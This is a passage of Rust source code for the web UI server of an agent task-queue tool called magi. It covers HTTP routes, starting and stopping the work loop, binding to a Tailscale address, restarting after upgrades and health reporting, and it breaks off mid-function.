1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::advise;
118use crate::ask::{Answer, Question, Questions};
119use crate::chat::{Chat, Chats};
120use crate::config::{Config, Update, UpdateMode};
121use crate::md;
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Task, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{chat, daemon, report, repos, run, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 chats: Chats,
295 talks: Talks,
296 runs: PathBuf,
297 home: PathBuf,
298 repo: PathBuf,
299 worktrees_root: PathBuf,
306 turns: Arc<Mutex<HashSet<String>>>,
314 talk_turns: Arc<Mutex<HashSet<String>>>,
319 resuming: Arc<Mutex<HashSet<String>>>,
326 repos_cache: repos::Cache,
330 merge: Option<String>,
332 looping: Arc<Mutex<LoopState>>,
334 launch: Launch,
346}
347
348impl Ui {
349 pub fn new(
351 queue: Queue,
352 questions: Questions,
353 chats: Chats,
354 talks: Talks,
355 runs: PathBuf,
356 home: PathBuf,
357 repo: PathBuf,
358 ) -> Self {
359 Self {
360 queue,
361 questions,
362 chats,
363 talks,
364 runs,
365 home,
366 repo,
367 worktrees_root: run::default_worktree_root(),
371 turns: Arc::default(),
372 talk_turns: Arc::default(),
373 resuming: Arc::default(),
374 repos_cache: repos::Cache::new(),
375 merge: None,
376 looping: Arc::default(),
377 launch: launch_daemon,
378 }
379 }
380
381 pub fn open(repo: PathBuf) -> Self {
384 Self::new(
385 Queue::open(),
386 Questions::open(),
387 Chats::open(),
388 Talks::open(),
389 run::runs_root(),
390 run::home(),
391 repo,
392 )
393 }
394
395 #[must_use]
402 pub fn with_merge(mut self, merge: Option<String>) -> Self {
403 self.merge = merge;
404 self
405 }
406
407 #[must_use]
412 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
413 self.worktrees_root = root;
414 self
415 }
416
417 #[cfg(test)]
422 #[must_use]
423 fn with_launch(mut self, launch: Launch) -> Self {
424 self.launch = launch;
425 self
426 }
427
428 fn looping(&self) -> Arc<Mutex<LoopState>> {
430 Arc::clone(&self.looping)
431 }
432
433 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
440 if let Some(other) = foreign {
441 return Err(ApiError::conflict(format!(
442 "{} is already running the loop, so this one will not start a \
443 second: two loops on one queue race for the same claims and \
444 burn the agent quota twice over. Stop it where it was \
445 started.",
446 other.who()
447 )));
448 }
449 let mut state = self.lock_loop();
450 if state.live.as_ref().is_some_and(Live::alive) {
451 return Err(ApiError::conflict(format!(
452 "this magi web process (pid {}) is already running the loop",
453 std::process::id()
454 )));
455 }
456
457 let stop = daemon::Stop::new();
458 let opts = daemon::Opts {
462 repo: self.repo.clone(),
463 merge: self.merge.clone(),
464 worktrees_root: Some(self.worktrees_root.clone()),
471 ..daemon::Opts::default()
472 };
473 let launch = self.launch;
474 let looping = Arc::clone(&self.looping);
475 let handle = tokio::spawn({
476 let opts = opts.clone();
477 let stop = stop.clone();
478 async move {
479 let failure = match launch(opts, stop).await {
480 Ok(()) => None,
481 Err(e) => Some(format!("{e:#}")),
482 };
483 match &failure {
484 Some(why) => tracing::error!("the loop stopped: {why}"),
485 None => tracing::info!("the loop stopped"),
486 }
487 let mut state = lock_or_recover(&looping);
493 state.live = None;
494 state.last_error = failure;
495 state.rev += 1;
496 }
497 });
498 tracing::info!(
499 "the loop is now running in this process: repo {}, merge {}",
500 opts.repo.display(),
501 opts.merge.as_deref().unwrap_or("as the config says")
502 );
503 state.live = Some(Live { stop, handle, opts });
504 state.last_error = None;
507 state.rev += 1;
508 Ok(())
509 }
510
511 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
517 if let Some(other) = foreign {
518 return Err(ApiError::conflict(format!(
519 "the loop belongs to {}, and this process cannot stop it - \
520 stop it where it was started. A button that silently did \
521 nothing would be worse than this refusal.",
522 other.who()
523 )));
524 }
525 let mut state = self.lock_loop();
526 let Some(live) = state.live.as_ref() else {
527 return Ok(());
528 };
529 if live.stop.stopped() && (!park || live.stop.parking()) {
533 return Ok(());
534 }
535 if park {
536 live.stop.park();
537 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
538 } else {
539 live.stop.stop();
540 tracing::info!("the loop was asked to stop; a run in flight is finished first");
541 }
542 state.rev += 1;
543 Ok(())
544 }
545
546 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
553 let state = self.lock_loop();
554 let live = state.live.as_ref().filter(|live| live.alive());
557 LoopView {
558 running: live.is_some(),
559 stopping: live.is_some_and(|live| live.stop.finishing()),
560 parking: live.is_some_and(|live| live.stop.parking()),
561 owned: live.is_some(),
562 repo: live
563 .map_or(&self.repo, |live| &live.opts.repo)
564 .display()
565 .to_string(),
566 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
567 last_error: state.last_error.clone(),
568 daemon: DaemonView::of(reading),
569 }
570 }
571
572 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
574 lock_or_recover(&self.looping)
575 }
576
577 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
600 let mut live = self
601 .turns
602 .lock()
603 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
604 if !live.insert(id.to_owned()) {
605 return Err(ApiError::conflict(format!(
606 "chat {id} is already taking a turn"
607 )));
608 }
609 Ok(TurnGuard {
610 chat: id.to_owned(),
611 turns: Arc::clone(&self.turns),
612 })
613 }
614
615 fn is_thinking(&self, id: &str) -> bool {
619 self.turns.lock().is_ok_and(|live| live.contains(id))
620 }
621
622 fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
626 let mut live = self
627 .talk_turns
628 .lock()
629 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
630 if !live.insert(id.to_owned()) {
631 return Err(ApiError::conflict(format!(
632 "talk {id} is already taking a turn"
633 )));
634 }
635 Ok(TalkTurnGuard {
636 talk: id.to_owned(),
637 turns: Arc::clone(&self.talk_turns),
638 })
639 }
640
641 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
648 let parking = {
649 let mut state = self.lock_loop();
650 let Some(live) = state.live.as_ref() else {
651 return Ok(None);
652 };
653 let busy = live.stop.busy_now();
654 live.stop.park();
655 state.rev += 1;
656 busy
657 };
658 Ok(if parking {
659 daemon::current_work(&self.home, jiff::Timestamp::now())
664 .into_iter()
665 .next()
666 .map(|c| c.run)
667 } else {
668 None
669 })
670 }
671
672 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
676 let mut live = self
677 .resuming
678 .lock()
679 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
680 if !live.insert(id.to_owned()) {
681 return Err(ApiError::conflict(format!(
682 "run {id} is already being resumed"
683 )));
684 }
685 Ok(ResumeGuard {
686 run: id.to_owned(),
687 resuming: Arc::clone(&self.resuming),
688 })
689 }
690
691 pub fn router(self) -> Router {
699 Router::new()
700 .route("/", get(index))
701 .route("/app.css", get(app_css))
702 .route("/app.js", get(app_js))
703 .route("/api/health", get(health))
704 .route("/api/loop", get(loop_get).post(loop_post))
705 .route("/api/upgrade", post(upgrade_post))
706 .route("/api/runs", get(runs_list))
707 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
708 .route("/api/runs/{id}/report", get(run_report))
709 .route("/api/runs/{id}/fold", post(run_fold))
710 .route("/api/runs/{id}/resume", post(run_resume))
711 .route("/api/queue", get(queue_list))
712 .route("/api/queue/{id}", delete(queue_delete))
713 .route("/api/repos", get(repos_list))
714 .route("/api/drafts", get(drafts_list))
715 .route("/api/drafts/{id}/advisors", get(draft_advisors))
716 .route("/api/queue/{id}/hold", post(queue_hold))
717 .route("/api/queue/{id}/release", post(queue_release))
718 .route("/api/queue/{id}/priority", post(queue_priority))
719 .route("/api/queue/{id}/edit", post(queue_edit))
720 .route("/api/queue/{id}/done", post(queue_done))
721 .route("/api/questions", get(questions_list))
722 .route("/api/questions/{id}/answer", post(question_answer))
723 .route("/api/questions/{id}/say", post(question_say))
724 .route("/api/questions/{id}/panel", get(question_panel))
725 .route("/api/questions/{id}/panel/index.html", get(question_panel))
733 .route("/api/questions/{id}/panel/{name}", get(question_asset))
734 .route("/api/questions/{id}/asset/{name}", get(question_asset))
735 .route("/api/chats", get(chats_list).post(chat_post))
736 .route("/api/chats/{id}", get(chat_detail))
737 .route("/api/chats/{id}/say", post(chat_say))
738 .route("/api/chats/{id}/file", post(chat_file))
739 .route("/api/chats/{id}/abandon", post(chat_abandon))
740 .route(
746 "/api/chats/{id}/attachments",
747 post(chat_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
748 )
749 .route(
750 "/api/chats/{id}/attachments/{att}",
751 get(chat_attachment_get),
752 )
753 .route("/api/talks", get(talks_list).post(talk_post))
754 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
755 .route("/api/talks/{id}/say", post(talk_say))
756 .route("/api/talks/{id}/close", post(talk_close))
757 .route("/api/talks/{id}/reopen", post(talk_reopen))
758 .route(
759 "/api/talks/{id}/attachments",
760 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
761 )
762 .route(
763 "/api/talks/{id}/attachments/{att}",
764 get(talk_attachment_get),
765 )
766 .route("/api/events", get(events))
767 .with_state(Arc::new(self))
768 }
769}
770
771#[derive(Debug)]
777struct TurnGuard {
778 chat: String,
779 turns: Arc<Mutex<HashSet<String>>>,
780}
781
782impl Drop for TurnGuard {
783 fn drop(&mut self) {
784 if let Ok(mut live) = self.turns.lock() {
785 live.remove(&self.chat);
786 }
787 }
788}
789
790#[derive(Debug)]
792struct TalkTurnGuard {
793 talk: String,
794 turns: Arc<Mutex<HashSet<String>>>,
795}
796
797impl Drop for TalkTurnGuard {
798 fn drop(&mut self) {
799 if let Ok(mut live) = self.turns.lock() {
800 live.remove(&self.talk);
801 }
802 }
803}
804
805struct ResumeGuard {
807 run: String,
808 resuming: Arc<Mutex<HashSet<String>>>,
809}
810
811impl Drop for ResumeGuard {
812 fn drop(&mut self) {
813 if let Ok(mut live) = self.resuming.lock() {
814 live.remove(&self.run);
815 }
816 }
817}
818
819async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
829 const WINDOW: Duration = Duration::from_secs(10);
830 const GAP: Duration = Duration::from_millis(250);
831
832 let deadline = std::time::Instant::now() + WINDOW;
833 let mut said = false;
834 loop {
835 match tokio::net::TcpListener::bind(socket).await {
836 Ok(listener) => return Ok(listener),
837 Err(e)
838 if e.kind() == std::io::ErrorKind::AddrInUse
839 && std::time::Instant::now() < deadline =>
840 {
841 if !said {
842 said = true;
843 tracing::info!(
844 "{socket} is still held - waiting up to {}s for it, \
845 which is what a restart looks like from here",
846 WINDOW.as_secs()
847 );
848 }
849 tokio::time::sleep(GAP).await;
850 }
851 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
852 }
853 }
854}
855
856static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
859
860fn spawn_successor() -> Result<()> {
872 let exe = std::env::current_exe().context("find this binary")?;
873 let args: Vec<String> = std::env::args().skip(1).collect();
874 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
875
876 let mut cmd = std::process::Command::new(&exe);
877 cmd.args(&args)
878 .stdin(std::process::Stdio::null())
879 .stdout(std::process::Stdio::null())
880 .stderr(std::process::Stdio::null());
881 #[cfg(windows)]
882 {
883 use std::os::windows::process::CommandExt as _;
884 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
887 }
888 cmd.spawn().context("start the successor")?;
889 Ok(())
890}
891
892pub async fn serve(opts: Opts) -> Result<()> {
917 let (addr, warning) = resolve_bind(&opts.bind);
918 if let Some(warning) = warning {
919 tracing::warn!("{warning}");
920 }
921
922 report::set_color(false);
928
929 let ui = Ui::open(opts.repo).with_merge(opts.merge);
930 let home = ui.home.clone();
935 let repo = ui.repo.clone();
936 updater::reconcile_after_restart(&home);
941 tokio::spawn(run_update_recheck(repo, home.clone()));
950 let looping = ui.looping();
951 let socket = SocketAddr::new(addr, opts.port);
952 let listener = bind_waiting(socket).await?;
953 let url = format!("http://{addr}:{}", opts.port);
954 tracing::info!(
955 "magi web UI on {url} - there is no authentication, so anyone who can \
956 reach this address can file and hold tasks: the tailnet is the \
957 security boundary"
958 );
959 tracing::info!(
960 "the queue loop is not running yet - start it from the UI, which is \
961 the whole reason this process can: nothing in the queue moves until \
962 something is running the loop"
963 );
964 if opts.open {
965 println!("{url}");
969 }
970
971 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
974 let interrupted = async {
975 if tokio::signal::ctrl_c().await.is_err() {
976 std::future::pending::<()>().await;
981 }
982 };
983 let handover = HANDOVER.notified();
984 tokio::select! {
985 joined = &mut served => match joined {
986 Ok(outcome) => outcome.context("serve the web UI"),
987 Err(e) => Err(e).context("the task serving the web UI ended"),
988 },
989 () = interrupted => {
990 tracing::info!("shutting down the web UI");
991 finish_loop(&looping).await;
992 Ok(())
993 }
994 () = handover => {
995 tracing::info!("upgraded - handing this address to the successor");
996 hand_over(&home, &looping, served, spawn_successor).await
997 }
998 }
999}
1000
1001async fn hand_over(
1029 home: &FsPath,
1030 looping: &Mutex<LoopState>,
1031 served: tokio::task::JoinHandle<std::io::Result<()>>,
1032 successor: impl FnOnce() -> Result<()>,
1033) -> Result<()> {
1034 if let Some(mut progress) = updater::read_progress(home) {
1035 progress.advance(updater::Stage::Parking);
1036 let _ = updater::write_progress(home, &progress);
1037 }
1038 finish_loop(looping).await;
1039 served.abort();
1040 let _ = served.await;
1041 if let Some(mut progress) = updater::read_progress(home) {
1042 progress.advance(updater::Stage::Restarting);
1043 let _ = updater::write_progress(home, &progress);
1044 }
1045 successor()
1046}
1047
1048async fn finish_loop(state: &Mutex<LoopState>) {
1055 let live = lock_or_recover(state).live.take();
1056 let Some(live) = live else { return };
1057 live.stop.stop();
1058 lock_or_recover(state).rev += 1;
1059 tracing::info!("waiting for the loop to finish the run in flight");
1060 let _ = live.handle.await;
1063}
1064
1065pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1071 match bind {
1072 Bind::Addr(addr) => (*addr, None),
1073 Bind::Auto => match tailscale_ip() {
1074 Ok(ip) => (IpAddr::V4(ip), None),
1075 Err(why) => (
1076 IpAddr::V4(Ipv4Addr::LOCALHOST),
1077 Some(format!(
1078 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1079 local-only and a phone cannot reach it; start Tailscale \
1080 or pass --bind <addr>"
1081 )),
1082 ),
1083 },
1084 }
1085}
1086
1087fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1095 let out = std::process::Command::new("tailscale")
1096 .args(["ip", "-4"])
1097 .quiet()
1098 .output()
1099 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1100 if !out.status.success() {
1101 let why = String::from_utf8_lossy(&out.stderr);
1102 let why = why.trim();
1103 return Err(format!(
1104 "`tailscale ip -4` failed ({}){}",
1105 out.status,
1106 if why.is_empty() {
1107 String::new()
1108 } else {
1109 format!(": {why}")
1110 }
1111 ));
1112 }
1113 String::from_utf8_lossy(&out.stdout)
1114 .lines()
1115 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1116 .find(is_tailnet)
1117 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1118}
1119
1120fn is_tailnet(ip: &Ipv4Addr) -> bool {
1122 let o = ip.octets();
1123 o[0] == 100 && (64..=127).contains(&o[1])
1124}
1125
1126type ApiResult<T> = std::result::Result<T, ApiError>;
1130
1131#[derive(Debug)]
1133struct ApiError {
1134 status: StatusCode,
1135 message: String,
1136 problems: Vec<String>,
1146}
1147
1148impl ApiError {
1149 fn bad_request(message: impl Into<String>) -> Self {
1151 Self {
1152 status: StatusCode::BAD_REQUEST,
1153 message: message.into(),
1154 problems: Vec::new(),
1155 }
1156 }
1157
1158 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
1160 Self {
1161 problems,
1162 ..Self::bad_request(message)
1163 }
1164 }
1165
1166 fn not_found(message: impl Into<String>) -> Self {
1168 Self {
1169 status: StatusCode::NOT_FOUND,
1170 message: message.into(),
1171 problems: Vec::new(),
1172 }
1173 }
1174
1175 fn with_status(mut self, status: StatusCode) -> Self {
1178 self.status = status;
1179 self
1180 }
1181
1182 fn bad_request_from(e: anyhow::Error) -> Self {
1186 Self::bad_request(format!("{e:#}"))
1187 }
1188
1189 fn conflict(message: impl Into<String>) -> Self {
1190 Self {
1191 status: StatusCode::CONFLICT,
1192 message: message.into(),
1193 problems: Vec::new(),
1194 }
1195 }
1196
1197 fn internal(message: impl Into<String>) -> Self {
1199 Self {
1200 status: StatusCode::INTERNAL_SERVER_ERROR,
1201 message: message.into(),
1202 problems: Vec::new(),
1203 }
1204 }
1205}
1206
1207impl From<anyhow::Error> for ApiError {
1208 fn from(e: anyhow::Error) -> Self {
1213 Self::internal(format!("{e:#}"))
1214 }
1215}
1216
1217impl IntoResponse for ApiError {
1218 fn into_response(self) -> Response {
1219 let mut body = serde_json::json!({ "error": self.message });
1220 if !self.problems.is_empty() {
1221 if let Some(map) = body.as_object_mut() {
1223 map.insert("problems".to_owned(), serde_json::json!(self.problems));
1224 }
1225 }
1226 (self.status, Json(body)).into_response()
1227 }
1228}
1229
1230async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1239where
1240 T: Send + 'static,
1241{
1242 match tokio::task::spawn_blocking(job).await {
1243 Ok(result) => result,
1244 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1245 }
1246}
1247
1248const ASSET_CACHE: &str = "no-cache, must-revalidate";
1266
1267fn asset_etag() -> &'static str {
1274 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1275 format!(
1276 "\"{}-{}\"",
1277 env!("CARGO_PKG_VERSION"),
1278 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1283 )
1284 });
1285 &TAG
1286}
1287
1288fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1290 [
1291 (header::CONTENT_TYPE, mime),
1292 (header::CACHE_CONTROL, ASSET_CACHE),
1293 (header::ETAG, asset_etag()),
1294 ]
1295}
1296
1297fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1305 let tag = asset_etag();
1306 let known = headers
1307 .get(header::IF_NONE_MATCH)
1308 .and_then(|v| v.to_str().ok())
1309 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1313 if known {
1314 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1315 }
1316 (asset_headers(mime), body).into_response()
1317}
1318
1319async fn index(headers: header::HeaderMap) -> Response {
1320 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1321}
1322
1323async fn app_css(headers: header::HeaderMap) -> Response {
1324 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1325}
1326
1327async fn app_js(headers: header::HeaderMap) -> Response {
1328 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1329}
1330
1331#[derive(Debug, Serialize)]
1333struct HealthView {
1334 version: &'static str,
1335 home: String,
1336 queue_rev: u64,
1337 runs_rev: u64,
1338 questions_rev: u64,
1350 chats_rev: u64,
1352 talks_rev: u64,
1357 loop_rev: u64,
1362 runs_unreadable: usize,
1370 disk: DiskView,
1378 questions_open: usize,
1384 questions_needs_owner: usize,
1394 chats_open: usize,
1402 daemon: DaemonView,
1403 #[serde(rename = "loop")]
1409 looping: LoopView,
1410 update: UpdateView,
1417 upgrade: Option<UpgradeProgressView>,
1421}
1422
1423#[derive(Debug, Serialize)]
1430struct UpdateView {
1431 available: bool,
1433 to: Option<String>,
1435}
1436
1437#[derive(Debug, Serialize)]
1439struct UpgradeProgressView {
1440 stage: updater::Stage,
1441 from: String,
1442 to: Option<String>,
1443 waiting_on: Option<String>,
1446 started_at: Timestamp,
1447 updated_at: Timestamp,
1448 detail: Option<String>,
1449}
1450
1451fn should_spawn_recheck(cfg: &Update) -> bool {
1458 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1459}
1460
1461fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1473 if progress.is_some_and(|p| !p.stage.terminal()) {
1474 return false;
1475 }
1476 checker.should_check()
1477}
1478
1479fn recheck_poll_period(cfg: &Update) -> Duration {
1492 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1493}
1494
1495async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1519 loop {
1520 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1521 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1522 if !should_spawn_recheck(&cfg.update) {
1523 continue;
1524 }
1525 let Some(checker) = updater::Checker::new(&cfg.update) else {
1526 continue;
1527 };
1528 let progress = updater::read_progress(&home);
1529 if !update_recheck_due(&checker, progress.as_ref()) {
1530 continue;
1531 }
1532 if let Err(e) = checker.newer_release().await {
1533 tracing::warn!("background update recheck failed: {e:#}");
1534 }
1535 }
1536}
1537
1538fn cached_update_view(repo: &FsPath) -> UpdateView {
1544 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1545 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1546 match latest {
1547 Some(latest) => UpdateView {
1548 available: true,
1549 to: Some(latest.tag_name),
1550 },
1551 None => UpdateView {
1552 available: false,
1553 to: None,
1554 },
1555 }
1556}
1557
1558fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1564 let waiting_on = (progress.stage == updater::Stage::Parking)
1565 .then_some(progress.parked_run.as_deref())
1566 .flatten()
1567 .and_then(|id| read_run(&ui.runs, id).ok())
1568 .map(|run| {
1569 format!(
1570 "run {} is finishing {} before the address is handed over",
1571 run.short(),
1572 run.status.as_str()
1573 )
1574 });
1575 UpgradeProgressView {
1576 stage: progress.stage,
1577 from: progress.from,
1578 to: progress.to,
1579 waiting_on,
1580 started_at: progress.started_at,
1581 updated_at: progress.updated_at,
1582 detail: progress.detail,
1583 }
1584}
1585
1586#[derive(Debug, Serialize)]
1591struct DiskView {
1592 #[serde(skip_serializing_if = "Option::is_none")]
1594 free_bytes: Option<u64>,
1595 runs_bytes: u64,
1597 worktrees_bytes: u64,
1599 #[serde(skip_serializing_if = "Option::is_none")]
1601 cache_bytes: Option<u64>,
1602}
1603
1604impl DiskView {
1605 fn of(ui: &Ui) -> Self {
1607 let cache_bytes = Config::discover(&ui.repo, None)
1608 .ok()
1609 .and_then(|(cfg, _)| cfg.cache_dir())
1610 .map(|dir| crate::disk::dir_size(&dir));
1611 Self {
1612 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1613 runs_bytes: crate::disk::dir_size(&ui.runs),
1614 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1615 cache_bytes,
1616 }
1617 }
1618}
1619
1620#[derive(Debug, Serialize)]
1622struct DaemonView {
1623 running: bool,
1624 idle: Option<bool>,
1625 pid: Option<u32>,
1626 current: Vec<daemon::Current>,
1630 completed: Option<u64>,
1631 stale_for_secs: Option<i64>,
1632}
1633
1634impl DaemonView {
1635 fn of(status: Option<daemon::Reading>) -> Self {
1639 let Some(status) = status else {
1640 return Self {
1641 running: false,
1642 idle: None,
1643 pid: None,
1644 current: Vec::new(),
1645 completed: None,
1646 stale_for_secs: None,
1647 };
1648 };
1649 let now = Timestamp::now();
1650 let age = status.age_secs(now);
1651 Self {
1652 running: status.running(now),
1653 idle: Some(status.idle),
1654 pid: status.pid,
1655 current: status.current,
1656 completed: Some(status.completed),
1657 stale_for_secs: age,
1658 }
1659 }
1660}
1661
1662async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1663 blocking(move || {
1664 let reading = daemon::read_status(&ui.home);
1668 let loop_rev = ui.lock_loop().rev;
1672 let update = cached_update_view(&ui.repo);
1673 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1674 Ok(Json(HealthView {
1675 version: env!("CARGO_PKG_VERSION"),
1676 home: ui.home.display().to_string(),
1677 queue_rev: ui.queue.revision(),
1678 runs_rev: runs_revision(&ui.runs),
1679 questions_rev: ui.questions.revision(),
1680 chats_rev: ui.chats.revision(),
1681 talks_rev: ui.talks.revision(),
1682 loop_rev,
1683 runs_unreadable: runs_unreadable(&ui.runs),
1684 questions_open: ui.questions.count_open(),
1685 questions_needs_owner: ui.questions.count_needs_owner(),
1686 chats_open: ui.chats.count_open(),
1687 daemon: DaemonView::of(reading.clone()),
1688 looping: ui.loop_view(reading),
1689 disk: DiskView::of(&ui),
1690 update,
1691 upgrade,
1692 }))
1693 })
1694 .await
1695}
1696
1697#[derive(Debug, Serialize)]
1699struct LoopView {
1700 running: bool,
1702 stopping: bool,
1710 parking: bool,
1718 owned: bool,
1726 repo: String,
1729 merge: Option<String>,
1732 last_error: Option<String>,
1740 daemon: DaemonView,
1743}
1744
1745#[derive(Debug, Clone, Copy)]
1754struct Foreign {
1755 pid: Option<u32>,
1757}
1758
1759impl Foreign {
1760 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1763 let reading = reading?;
1764 if !reading.running(Timestamp::now()) {
1765 return None;
1766 }
1767 match reading.pid {
1768 Some(pid) if pid == std::process::id() => None,
1769 pid => Some(Self { pid }),
1773 }
1774 }
1775
1776 fn who(&self) -> String {
1779 match self.pid {
1780 Some(pid) => format!("another magi process (pid {pid})"),
1781 None => "another magi process".to_owned(),
1782 }
1783 }
1784}
1785
1786type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1791
1792fn launch_daemon(
1794 opts: daemon::Opts,
1795 stop: daemon::Stop,
1796) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1797 Box::pin(daemon::serve_until(opts, stop))
1798}
1799
1800#[derive(Debug, Default)]
1802struct LoopState {
1803 live: Option<Live>,
1805 rev: u64,
1813 last_error: Option<String>,
1816}
1817
1818#[derive(Debug)]
1820struct Live {
1821 stop: daemon::Stop,
1823 handle: tokio::task::JoinHandle<()>,
1828 opts: daemon::Opts,
1832}
1833
1834impl Live {
1835 fn alive(&self) -> bool {
1837 !self.handle.is_finished()
1838 }
1839}
1840
1841fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1848 state.lock().unwrap_or_else(PoisonError::into_inner)
1849}
1850
1851async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1853 blocking(move || {
